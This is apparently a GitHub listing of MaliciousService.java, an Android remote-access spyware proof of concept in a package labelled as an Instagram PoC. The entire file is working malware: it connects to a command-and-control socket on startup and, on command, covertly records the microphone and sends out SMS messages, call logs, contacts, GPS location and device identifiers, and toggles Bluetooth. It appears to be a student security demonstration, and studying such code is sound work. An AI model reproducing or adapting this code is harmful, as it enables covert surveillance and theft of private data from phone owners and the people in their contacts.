-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMaliciousService.java
More file actions
473 lines (328 loc) · 16.8 KB
/
MaliciousService.java
File metadata and controls
473 lines (328 loc) · 16.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
package com.merams.esd.instagram.poc;
import android.annotation.SuppressLint;
import android.app.Service;
import android.bluetooth.BluetoothAdapter;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.media.MediaRecorder;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.os.StrictMode;
import android.provider.Browser;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.util.Log;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.core.content.FileProvider;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import me.everything.providers.android.browser.BrowserProvider;
import me.everything.providers.android.browser.Search;
import me.everything.providers.android.calllog.CallsProvider;
/*
*
* MaliciousService is a class that extends Service, a service is a GUI-less application.
* The purpose of this class is to implement malicious functions or methods in order to demonstrate
* how easy it is to get around security by abusing user trust and taking control over an Android phone.
*
* Each functions and methods described here are use to spy on the user or extract / destroy his data
* Let's have some fun ESD !
*
* void InitServerConnection => allows the malicious app to establish a direct connection to C2C server
* void StartMaliciousRecorder => When triggered, this function secretly enable phone microphone to spy on target
*
* */
public class MaliciousService extends Service {
private List<String> smsList;
private List<String> callLogList;
private List<String> contactList;
private List<String> tmpList;
private MediaRecorder recorder;
private LocationManager mLocMan;
private boolean isRecording;
private String tmpString;
private String s_type;
private String _OSVERSION = System.getProperty("os.version");
private String _RELEASE = android.os.Build.VERSION.RELEASE;
private String _DEVICE = android.os.Build.DEVICE;
private String _MODEL = android.os.Build.MODEL;
private String _PRODUCT = android.os.Build.PRODUCT;
private String _BRAND = android.os.Build.BRAND;
private String _HARDWARE = android.os.Build.HARDWARE;
private String _ID = android.os.Build.ID;
private String _MANUFACTURER = android.os.Build.MANUFACTURER;
private String _SERIAL = android.os.Build.SERIAL;
private String _USER = android.os.Build.USER;
private String _HOST = android.os.Build.HOST;
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
InitServerConnection("192.168.43.45", 666);
}
@Override
public void onDestroy() {
super.onDestroy();
if(isRecording){ recorder.stop(); }
}
private void InitServerConnection(String ipaddr, int port){
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
String cmd = "none";
try {
Socket socket = new Socket(ipaddr,port);
DataOutputStream os = new DataOutputStream(socket.getOutputStream());
os.write("C2C".getBytes(StandardCharsets.UTF_8));
os.flush();
//os.close(); if closed, the socket closes too so better let it commented
try{
char[] buff = new char[16384];
int charsRead = 0;
BufferedReader is = new BufferedReader(new InputStreamReader(socket.getInputStream()));
while(true) {
while ((charsRead = is.read(buff)) != -1) {
cmd = new String(buff).substring(0, charsRead);
switch(cmd){
case "record":
try {
os.write("Hooking on internal microphone, now listening ...".getBytes(StandardCharsets.UTF_8));
os.flush();
isRecording = StartMaliciousRecorder();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
case "snapshot":
try {
os.write("Took a picture from front camera, sending it to C2C server soon.".getBytes(StandardCharsets.UTF_8));
os.flush();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
case "sms":
smsList = new ArrayList<String>();
smsList = ReadSms();
Thread.sleep(2000);
os.write("Pending recovery, please wait :\n".getBytes(StandardCharsets.UTF_8));
for(String sms:smsList){
os.write((sms+"\n").getBytes(StandardCharsets.UTF_8));
os.flush();
}
Thread.sleep(2000);
os.write("[FLG] Done Sending".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
case "call":
callLogList = new ArrayList<String>();
callLogList = ReadCallLog();
Thread.sleep(2000);
os.write("Pending recovery, please wait :\n".getBytes(StandardCharsets.UTF_8));
for(String call:callLogList){
os.write((call+"\n").getBytes(StandardCharsets.UTF_8));
os.flush();
}
Thread.sleep(2000);
os.write("[FLG] Done Sending".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
case "contact":
contactList = new ArrayList<String>();
contactList = GetContacts();
Thread.sleep(2000);
os.write("Pending recovery, please wait :\n".getBytes(StandardCharsets.UTF_8));
for(String con:contactList){
os.write((con+"\n").getBytes(StandardCharsets.UTF_8));
os.flush();
}
Thread.sleep(2000);
os.write("[FLG] Done Sending".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
case "location":
mLocMan = (LocationManager) getSystemService(getApplicationContext().LOCATION_SERVICE);
Location location = mLocMan.getLastKnownLocation(LocationManager.GPS_PROVIDER);
double lat = location.getLatitude();
double lon = location.getLongitude();
os.write(("Here are the coordinates of the target:\n "+String.valueOf(lat)+" Long: "+String.valueOf(lon)).getBytes(StandardCharsets.UTF_8));
os.write("[FLG] Done Sending".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
case "intel":
os.write(("Here are the intel i could get:\n\nManufacturer: "+_MANUFACTURER+"\nBrand: "+_BRAND+"\nDevice: "+_DEVICE+"\nProduct: "+_PRODUCT+"\nModel: "+_MODEL+"\nHardware: "+_HARDWARE+"\nOS: "+_OSVERSION+"\nRelease: "+_RELEASE+"\nSerial: "+_SERIAL+"\nID: "+_ID+"\nUser: "+_USER+"\nHost: "+_HOST+"\n").getBytes(StandardCharsets.UTF_8));
os.write("[FLG] Done Sending".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
case "bluetooth":
EnableBluetooth();
os.write("[FLG] Done".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
case "internet":
OpenBrowser("https://www.youtube.com/watch?v=dQw4w9WgXcQ");
os.write("[FLG] Done".getBytes(StandardCharsets.UTF_8));
os.flush();
break;
default:
os.write(("[WARN] Unknown command /!\\").getBytes(StandardCharsets.UTF_8));
os.flush();
continue;
}
}
}
}catch (Exception e){
e.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
thread.start();
}
@SuppressLint("WrongConstant")
private boolean StartMaliciousRecorder(){
//Recorder Base Configuration
File path = getApplicationContext().getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS);
File mouchard = new File(path, "ESDmouchard.mp3");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
//Recorder Malicious Saved Audio File and Config based on which Android API is in Use
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
recorder.setOutputFile(mouchard);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
}
//Try catch block to avoid being discovered in case it fucks thing up
try {
//Set a 2 seconds timer to prepare the recorder
recorder.prepare();
Thread.sleep(2000);
//Start Recorder
recorder.start();
return true;
} catch (Exception e) {
Log.e("ERROR", e.getMessage());
e.printStackTrace();
return false;
}
}
private List<String> ReadSms(){
List<String> smsList = new ArrayList<String>();
Uri uriSms = Uri.parse("content://sms/inbox");
Cursor cur = getContentResolver().query(uriSms,null,null,null,null);
while(cur.moveToNext()){
@SuppressLint("Range") String num = cur.getString(cur.getColumnIndex("address"));
@SuppressLint("Range") String body = cur.getString(cur.getColumnIndex("body"));
smsList.add("Number: "+num+" Message: "+body);
}
return smsList;
}
private List<String> ReadCallLog(){
List<String> callList = new ArrayList<String>();
Uri uriCalls = Uri.parse("content://call_log/calls");
Cursor cur = getContentResolver().query(uriCalls,null,null,null,null);
while(cur.moveToNext()){
@SuppressLint("Range") String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));
@SuppressLint("Range") String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));
@SuppressLint("Range") String duration = cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION));
@SuppressLint("Range") int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));
switch (type){
case 1:
s_type = "Incoming";
break;
case 2:
s_type = "Outgoing";
break;
case 3:
s_type = "Missed";
break;
case 4:
s_type = "VoiceMail";
break;
case 5:
s_type = "Rejected";
break;
case 6:
s_type = "Refused List";
break;
default:
continue;
}
callList.add("Number: "+num+" Name: "+name+" Duration: "+String.valueOf(Integer.parseInt(duration)/60)+"min"+" Type: "+s_type);
}
return callList;
}
private void EnableBluetooth(){
BluetoothAdapter mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if (!mBluetoothAdapter.isEnabled()) {
mBluetoothAdapter.enable();
}else{
mBluetoothAdapter.disable();
}
}
private void OpenBrowser(String url){
Intent bIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
bIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(bIntent);
}
@SuppressLint("Range")
private List<String> GetContacts() {
ArrayList<String> nameList = new ArrayList<>();
ContentResolver cr = getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,null, null, null, null);
if ((cur != null ? cur.getCount() : 0) > 0){
while (cur != null && cur.moveToNext()){
String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
String name = cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
if (cur.getInt(cur.getColumnIndex( ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0) {
Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{id}, null);
while (pCur.moveToNext()) {
String phoneNo = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
nameList.add("Name: "+name+" Phone: "+phoneNo);
}
pCur.close();
}
}
}
if (cur != null){
cur.close();
}
tmpList = new ArrayList<String>();
for(String entrie:nameList){
if(!tmpList.contains(entrie)){
tmpList.add(entrie);
}
}
return tmpList;
}
}